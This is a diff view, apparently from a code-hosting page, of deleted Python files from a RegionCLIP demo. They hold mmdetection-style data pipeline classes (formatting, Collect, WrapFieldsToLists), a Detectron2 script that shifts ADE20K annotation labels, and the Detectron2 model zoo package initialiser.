def __call__(self, results):
|
192 |
-
"""Call function to transform and format common fields in results.
|
193 |
-
|
194 |
-
Args:
|
195 |
-
results (dict): Result dict contains the data to convert.
|
196 |
-
|
197 |
-
Returns:
|
198 |
-
dict: The result dict contains the data that is formatted with \
|
199 |
-
default bundle.
|
200 |
-
"""
|
201 |
-
|
202 |
-
if 'img' in results:
|
203 |
-
img = results['img']
|
204 |
-
# add default meta keys
|
205 |
-
results = self._add_default_meta_keys(results)
|
206 |
-
if len(img.shape) < 3:
|
207 |
-
img = np.expand_dims(img, -1)
|
208 |
-
img = np.ascontiguousarray(img.transpose(2, 0, 1))
|
209 |
-
results['img'] = DC(to_tensor(img), stack=True)
|
210 |
-
for key in ['proposals', 'gt_bboxes', 'gt_bboxes_ignore', 'gt_labels','gt_bboxes_3d', 'gt_bboxes_3d_proj']:
|
211 |
-
if key not in results:
|
212 |
-
continue
|
213 |
-
results[key] = DC(to_tensor(results[key]))
|
214 |
-
if 'gt_bboxes_3d' in results:
|
215 |
-
results['gt_bboxes_3d'] = DC(results['gt_bboxes_3d'], cpu_only=True)
|
216 |
-
if 'gt_masks' in results:
|
217 |
-
results['gt_masks'] = DC(results['gt_masks'], cpu_only=True)
|
218 |
-
if 'gt_semantic_seg' in results:
|
219 |
-
results['gt_semantic_seg'] = DC(
|
220 |
-
to_tensor(results['gt_semantic_seg'][None, ...]), stack=True)
|
221 |
-
return results
|
222 |
-
|
223 |
-
def _add_default_meta_keys(self, results):
|
224 |
-
"""Add default meta keys.
|
225 |
-
|
226 |
-
We set default meta keys including `pad_shape`, `scale_factor` and
|
227 |
-
`img_norm_cfg` to avoid the case where no `Resize`, `Normalize` and
|
228 |
-
`Pad` are implemented during the whole pipeline.
|
229 |
-
|
230 |
-
Args:
|
231 |
-
results (dict): Result dict contains the data to convert.
|
232 |
-
|
233 |
-
Returns:
|
234 |
-
results (dict): Updated result dict contains the data to convert.
|
235 |
-
"""
|
236 |
-
img = results['img']
|
237 |
-
results.setdefault('pad_shape', img.shape)
|
238 |
-
results.setdefault('scale_factor', 1.0)
|
239 |
-
num_channels = 1 if len(img.shape) < 3 else img.shape[2]
|
240 |
-
results.setdefault(
|
241 |
-
'img_norm_cfg',
|
242 |
-
dict(
|
243 |
-
mean=np.zeros(num_channels, dtype=np.float32),
|
244 |
-
std=np.ones(num_channels, dtype=np.float32),
|
245 |
-
to_rgb=False))
|
246 |
-
return results
|
247 |
-
|
248 |
-
def __repr__(self):
|
249 |
-
return self.__class__.__name__
|
250 |
-
|
251 |
-
|
252 |
-
@PIPELINES.register_module()
|
253 |
-
class Collect(object):
|
254 |
-
"""Collect data from the loader relevant to the specific task.
|
255 |
-
|
256 |
-
This is usually the last stage of the data loader pipeline. Typically keys
|
257 |
-
is set to some subset of "img", "proposals", "gt_bboxes",
|
258 |
-
"gt_bboxes_ignore", "gt_labels", and/or "gt_masks".
|
259 |
-
|
260 |
-
The "img_meta" item is always populated. The contents of the "img_meta"
|
261 |
-
dictionary depends on "meta_keys". By default this includes:
|
262 |
-
|
263 |
-
- "img_shape": shape of the image input to the network as a tuple \
|
264 |
-
(h, w, c). Note that images may be zero padded on the \
|
265 |
-
bottom/right if the batch tensor is larger than this shape.
|
266 |
-
|
267 |
-
- "scale_factor": a float indicating the preprocessing scale
|
268 |
-
|
269 |
-
- "flip": a boolean indicating if image flip transform was used
|
270 |
-
|
271 |
-
- "filename": path to the image file
|
272 |
-
|
273 |
-
- "ori_shape": original shape of the image as a tuple (h, w, c)
|
274 |
-
|
275 |
-
- "pad_shape": image shape after padding
|
276 |
-
|
277 |
-
- "img_norm_cfg": a dict of normalization information:
|
278 |
-
|
279 |
-
- mean - per channel mean subtraction
|
280 |
-
- std - per channel std divisor
|
281 |
-
- to_rgb - bool indicating if bgr was converted to rgb
|
282 |
-
|
283 |
-
Args:
|
284 |
-
keys (Sequence[str]): Keys of results to be collected in ``data``.
|
285 |
-
meta_keys (Sequence[str], optional): Meta keys to be converted to
|
286 |
-
``mmcv.DataContainer`` and collected in ``data[img_metas]``.
|
287 |
-
Default: ``('filename', 'ori_filename', 'ori_shape', 'img_shape',
|
288 |
-
'pad_shape', 'scale_factor', 'flip', 'flip_direction',
|
289 |
-
'img_norm_cfg')``
|
290 |
-
"""
|
291 |
-
|
292 |
-
def __init__(self,
|
293 |
-
keys,
|
294 |
-
meta_keys=('filename', 'ori_filename', 'ori_shape',
|
295 |
-
'img_shape', 'pad_shape', 'scale_factor', 'flip',
|
296 |
-
'flip_direction', 'img_norm_cfg')):
|
297 |
-
self.keys = keys
|
298 |
-
self.meta_keys = meta_keys
|
299 |
-
|
300 |
-
def __call__(self, results):
|
301 |
-
"""Call function to collect keys in results. The keys in ``meta_keys``
|
302 |
-
will be converted to :obj:mmcv.DataContainer.
|
303 |
-
|
304 |
-
Args:
|
305 |
-
results (dict): Result dict contains the data to collect.
|
306 |
-
|
307 |
-
Returns:
|
308 |
-
dict: The result dict contains the following keys
|
309 |
-
|
310 |
-
- keys in``self.keys``
|
311 |
-
- ``img_metas``
|
312 |
-
"""
|
313 |
-
|
314 |
-
data = {}
|
315 |
-
img_meta = {}
|
316 |
-
for key in self.meta_keys:
|
317 |
-
img_meta[key] = results[key]
|
318 |
-
data['img_metas'] = DC(img_meta, cpu_only=True)
|
319 |
-
for key in self.keys:
|
320 |
-
data[key] = results[key]
|
321 |
-
return data
|
322 |
-
|
323 |
-
def __repr__(self):
|
324 |
-
return self.__class__.__name__ + \
|
325 |
-
f'(keys={self.keys}, meta_keys={self.meta_keys})'
|
326 |
-
|
327 |
-
|
328 |
-
@PIPELINES.register_module()
|
329 |
-
class WrapFieldsToLists(object):
|
330 |
-
"""Wrap fields of the data dictionary into lists for evaluation.
|
331 |
-
|
332 |
-
This class can be used as a last step of a test or validation
|
333 |
-
pipeline for single image evaluation or inference.
|
334 |
-
|
335 |
-
Example:
|
336 |
-
>>> test_pipeline = [
|
337 |
-
>>> dict(type='LoadImageFromFile'),
|
338 |
-
>>> dict(type='Normalize',
|
339 |
-
mean=[123.675, 116.28, 103.53],
|
340 |
-
std=[58.395, 57.12, 57.375],
|
341 |
-
to_rgb=True),
|
342 |
-
>>> dict(type='Pad', size_divisor=32),
|
343 |
-
>>> dict(type='ImageToTensor', keys=['img']),
|
344 |
-
>>> dict(type='Collect', keys=['img']),
|
345 |
-
>>> dict(type='WrapFieldsToLists')
|
346 |
-
>>> ]
|
347 |
-
"""
|
348 |
-
|
349 |
-
def __call__(self, results):
|
350 |
-
"""Call function to wrap fields into lists.
|
351 |
-
|
352 |
-
Args:
|
353 |
-
results (dict): Result dict contains the data to wrap.
|
354 |
-
|
355 |
-
Returns:
|
356 |
-
dict: The result dict where value of ``self.keys`` are wrapped \
|
357 |
-
into list.
|
358 |
-
"""
|
359 |
-
|
360 |
-
# Wrap dict fields into lists
|
361 |
-
for key, val in results.items():
|
362 |
-
results[key] = [val]
|
363 |
-
return results
|
364 |
-
|
365 |
-
def __repr__(self):
|
366 |
-
return f'{self.__class__.__name__}()'
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|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|
1 |
-
#!/usr/bin/env python3
|
2 |
-
# -*- coding: utf-8 -*-
|
3 |
-
# Copyright (c) Facebook, Inc. and its affiliates.
|
4 |
-
import numpy as np
|
5 |
-
import os
|
6 |
-
from pathlib import Path
|
7 |
-
import tqdm
|
8 |
-
from PIL import Image
|
9 |
-
|
10 |
-
|
11 |
-
def convert(input, output):
|
12 |
-
img = np.asarray(Image.open(input))
|
13 |
-
assert img.dtype == np.uint8
|
14 |
-
img = img - 1 # 0 (ignore) becomes 255. others are shifted by 1
|
15 |
-
Image.fromarray(img).save(output)
|
16 |
-
|
17 |
-
|
18 |
-
if __name__ == "__main__":
|
19 |
-
dataset_dir = Path(os.getenv("DETECTRON2_DATASETS", "datasets")) / "ADEChallengeData2016"
|
20 |
-
for name in ["training", "validation"]:
|
21 |
-
annotation_dir = dataset_dir / "annotations" / name
|
22 |
-
output_dir = dataset_dir / "annotations_detectron2" / name
|
23 |
-
output_dir.mkdir(parents=True, exist_ok=True)
|
24 |
-
for file in tqdm.tqdm(list(annotation_dir.iterdir())):
|
25 |
-
output_file = output_dir / file.name
|
26 |
-
convert(file, output_file)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/CVPR/regionclip-demo/detectron2/model_zoo/__init__.py
DELETED
@@ -1,10 +0,0 @@
|
|
1 |
-
# Copyright (c) Facebook, Inc. and its affiliates.
|
2 |
-
"""
|
3 |
-
Model Zoo API for Detectron2: a collection of functions to create common model architectures
|
4 |
-
listed in `MODEL_ZOO.md <https://github.com/facebookresearch/detectron2/blob/master/MODEL_ZOO.md>`_,
|
5 |
-
and optionally load their pre-trained weights.
|
6 |
-
"""
|
7 |
-
|
8 |
-
from .model_zoo import get, get_config_file, get_checkpoint_url, get_config
|
9 |
-
|
10 |
-
__all__ = ["get_checkpoint_url", "get", "get_config_file", "get_config"]
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|